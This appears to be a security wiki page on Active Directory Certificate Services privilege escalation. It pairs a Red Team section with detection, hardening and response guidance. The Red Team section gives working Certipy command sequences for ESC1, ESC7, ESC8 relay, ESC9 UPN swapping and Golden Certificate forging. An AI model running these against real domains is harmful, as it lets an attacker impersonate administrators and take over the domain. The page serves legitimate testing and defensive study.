AD CS (Active Directory Certificate Services)
AD CS is Microsoft’s PKI: it issues certificates used to authenticate in the domain (a valid certificate is exchanged for a TGT via PKINIT). The problem is that the authorization of who can request which certificate and with what identity is configured in templates and permissions that, by default or by neglect, tend to be lax. The “Certified Pre-Owned” research (SpecterOps) catalogued a family of escalations —ESC1 onward, today up to ESC16+— that turn an ordinary user into Domain Admin. It’s one of the most reliable and often quietest paths to DA: a certificate survives password changes, so it’s also persistence.
flowchart LR
A["Domain user"] -->|"CSR with SAN = Administrator (ESC1)"| CA["AD CS"]
CA -->|"issues the certificate"| A
A -->|"PKINIT with the certificate"| DC[Domain Controller]
DC -->|"TGT as Administrator"| A
Threat model
Section titled “Threat model”- Who attacks: any domain user who can enroll certificates in a misconfigured template, or who has management permissions over the CA or over a PKI object.
- What it breaks: the authorization of issuance. If the attacker makes the CA issue a certificate where they appear as another user (e.g. Administrator), they authenticate as that user with PKINIT.
- What it gains: the impersonated user’s TGT and NT hash (via UnPAC-the-hash). If it’s a DC or a Domain Admin, domain compromise.
- Why it’s dangerous long-term: the certificate lasts for its validity period (months or years) and survives password resets. Revoking it requires rotating the CA key.
Anatomy
Section titled “Anatomy”Why a certificate is a credential
Section titled “Why a certificate is a credential”A template with an authentication EKU (Client Authentication, Smart Card Logon, PKINIT or Any Purpose) produces a certificate the KDC accepts for PKINIT. The identity the certificate claims goes in its SAN (Subject Alternative Name). If the requester can set any SAN, they claim to be Administrator.
The SID extension and strong mapping
Section titled “The SID extension and strong mapping”To close this, Microsoft (KB5014754) added the SID extension to certificates and strong certificate mapping: the KDC binds the certificate to the object’s SID. Key dates:
- Since February 2025, Full Enforcement is the default.
- Since September 2025, the
StrongCertificateBindingEnforcementregistry value was retired: there’s no way back to compatibility mode. - A second track (KB5057784, CVE-2025-26647, NTAuth store enforcement) hardened in parallel (audit in April, enforcement by default in July, registry retired in October 2025).
This doesn’t kill AD CS as a vector: it changes which ESCs work. The ones that rely on a SAN without the SID extension (ESC9, ESC10, part of ESC6/ESC16) need the enforcement not to be at level 2, or are combined to force the SID fallback. ESC1, ESC2, ESC3, ESC4, ESC7, ESC8, ESC11 and ESC13 still work the same.
The ESC family (summary)
Section titled “The ESC family (summary)”| ESC | Condition | Impact |
|---|---|---|
| ESC1 | Auth template with “enrollee supplies subject,” enrollable by normal users, no approval | Arbitrary SAN → impersonate anyone |
| ESC2 | Template with Any Purpose EKU or no EKU | Wildcard / enrollment agent certificate |
| ESC3 | Template with Certificate Request Agent EKU | Enroll on behalf of another |
| ESC4 | Write access over the template object | Reconfigure it as ESC1 |
| ESC5 | Write access over domain PKI objects | Control of the PKI |
| ESC6 | CA with EDITF_ATTRIBUTESUBJECTALTNAME2 |
Arbitrary SAN on any template |
| ESC7 | Manage CA / Manage Certificates permissions | Issue denied requests, enable templates |
| ESC8 | HTTP(S) web enrollment without EPA | NTLM relay to the CA |
| ESC9 | Template without the SID extension | Impersonate by UPN (if enforcement ≠ 2) |
| ESC10 | CertificateMappingMethods with UPN bit |
Weak Schannel mapping |
| ESC11 | ICPR without forced encryption | NTLM relay over RPC |
| ESC13 | Issuance policy linked to a group (msDS-OIDToGroupLink) |
Effective group membership |
| ESC15 | V1 template with “supply in request” (CVE-2024-49019) | Arbitrary application policies |
| ESC16 | CA with the SID extension disabled globally | Like ESC9 at CA scale |
Red Team
Section titled “Red Team”Enumerate first
Section titled “Enumerate first”Certipy finds CAs, templates and what’s exploitable from your principal:
certipy find -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -stdout -vulnerableReview the [!] Vulnerabilities block and fields like User Specified SAN : Enabled (ESC6) or
Enrollee Supplies Subject (ESC1).
ESC1: arbitrary SAN (the canonical case)
Section titled “ESC1: arbitrary SAN (the canonical case)”certipy req -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -target ca01.corp.local \ -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@corp.local' -sid 'S-1-5-21-…-500'certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10certipy auth does PKINIT, gets the TGT and, via UnPAC-the-hash, the Administrator’s NT hash.
ESC8: NTLM relay to web enrollment
Section titled “ESC8: NTLM relay to web enrollment”If web enrollment is on without EPA, you relay a coerced authentication (typically from a DC) to the CA to obtain its certificate:
certipy relay -target 'http://ca01.corp.local' -template 'DomainController'# in another terminal, coerce the DC (see NTLM relay)coercer coerce -u jdoe -p 'Passw0rd!' -d corp.local -t dc01.corp.local -l 10.10.10.50certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10See NTLM relay for the coercion part.
ESC7: abusing Manage CA
Section titled “ESC7: abusing Manage CA”With management permissions over the CA, you add yourself as an officer, enable the SubCA template,
force the issuance of a denied request and retrieve it:
certipy ca -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -add-officer jdoecertipy ca -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -enable-template SubCAcertipy req -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -target ca01.corp.local \ -ca 'CORP-CA' -template SubCA -upn 'administrator@corp.local' -sid 'S-1-5-21-…-500' # denied → creates request IDcertipy ca -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -issue-request 1certipy req -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -retrieve 1ESC9 / ESC16: impersonate by UPN
Section titled “ESC9 / ESC16: impersonate by UPN”Where strong mapping isn’t at level 2, you change the UPN of an account you control to the victim’s, request the certificate and revert:
certipy account -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -upn 'administrator' -user victim updatecertipy req -k -dc-ip 10.10.10.10 -target ca01.corp.local -ca 'CORP-CA' -template VulnTemplatecertipy account -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -upn 'victim@corp.local' -user victim updatecertipy auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username administrator -domain corp.localGolden Certificate (persistence)
Section titled “Golden Certificate (persistence)”If you compromise the CA’s private key, you can forge certificates for any user indefinitely (persistence; see persistence):
certipy ca -backup -ca 'CORP-CA' -u 'admin@corp.local' -p 'P4ss!' -dc-ip 10.10.10.10certipy forge -ca-pfx CORP-CA.pfx -upn 'administrator@corp.local' -sid 'S-1-5-21-…-500'Investigator workflow
Section titled “Investigator workflow”certipy find -vulnerable: which ESCs are exploitable from your principal.- ESC1/ESC2/ESC3 if there’s a template with lax SAN or EKU.
- ESC7 if you have CA management; ESC8/ESC11 if there’s web/RPC enrollment without protection.
- ESC9/ESC10/ESC16 depending on the strong-mapping level.
certipy auth→ TGT and NT hash → chain to DCSync or lateral.
- Certipy (ly4k): enumeration and exploitation of the whole ESC range.
- Certify / Certify 2.0 (Windows): C# equivalent.
- ntlmrelayx (
--adcs): relay to AD CS (ESC8/ESC11). - BloodHound CE: flags some AD CS paths.
Impact and chaining
Section titled “Impact and chaining”An authentication certificate for a DC or a Domain Admin is domain compromise: from there to DCSync
(credential dumping). As a persistence vector, a Golden Certificate
survives password and krbtgt rotation.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Anomalous certificate requests (events 4886/4887 on the CA): a SAN that doesn’t match the requester, authentication templates requested from odd sources.
- Issuance of DC or privileged-account certificates out of the ordinary.
- Certificate authentication (PKINIT) from accounts that never use smart cards/certs.
- ESC8: DC coercion (RPC MS-EFSR/MS-RPRN) + connection to the web enrollment.
Telemetry and sources
Section titled “Telemetry and sources”- Request and issuance auditing on the CA (4886/4887/4898).
- PKINIT KDC events on the DCs.
- Monitor events 39, 40, 41 (KB5014754) and 45 (KB5057784) for residual weak mapping.
Hardening
Section titled “Hardening”- Remove “enrollee supplies subject” from authentication templates (kills ESC1).
- Require manager approval on sensitive templates.
- EPA on web enrollment and forced encryption on ICPR (closes ESC8/ESC11); better, disable web enrollment if unused.
- Review Manage CA / Manage Certificates permissions (ESC7) and PKI object ACLs (ESC5).
- Remove
EDITF_ATTRIBUTESUBJECTALTNAME2(ESC6). - Keep Full Enforcement of strong mapping (now the default) and watch the fallback.
Response
Section titled “Response”On confirmed abuse: revoke the fraudulently issued certificates, fix the root template or permission, and if the CA key was compromised, rotate the CA key (a Golden Certificate can’t be closed any other way). Rotate the credentials of the impersonated accounts.
CVEs and real cases
Section titled “CVEs and real cases”- “Certified Pre-Owned” (SpecterOps, 2021): the work that catalogued ESC1–ESC8 and drove AD CS use as a path to DA.
- CVE-2022-26923 / 26931 / 34691 (origin of KB5014754 and strong mapping).
- CVE-2024-49019 (ESC15, “EKUwu”): V1 templates with “supply in request”; fixed November 2024.
- CVE-2025-26647: NTAuth store hardening, enforcement by default in 2025.
Test checklist
Section titled “Test checklist”-
certipy find -vulnerablerun; vulnerabilities block reviewed. - ESC1 template (arbitrary SAN)?
- Web/RPC enrollment without EPA/encryption (ESC8/ESC11)?
- Manage CA permissions (ESC7) or template write (ESC4)?
- Strong-mapping level that enables ESC9/ESC10/ESC16?
- Certificate exchanged for TGT and NT hash?
- Blue: request/issuance auditing on? Events 39/40/41/45 watched?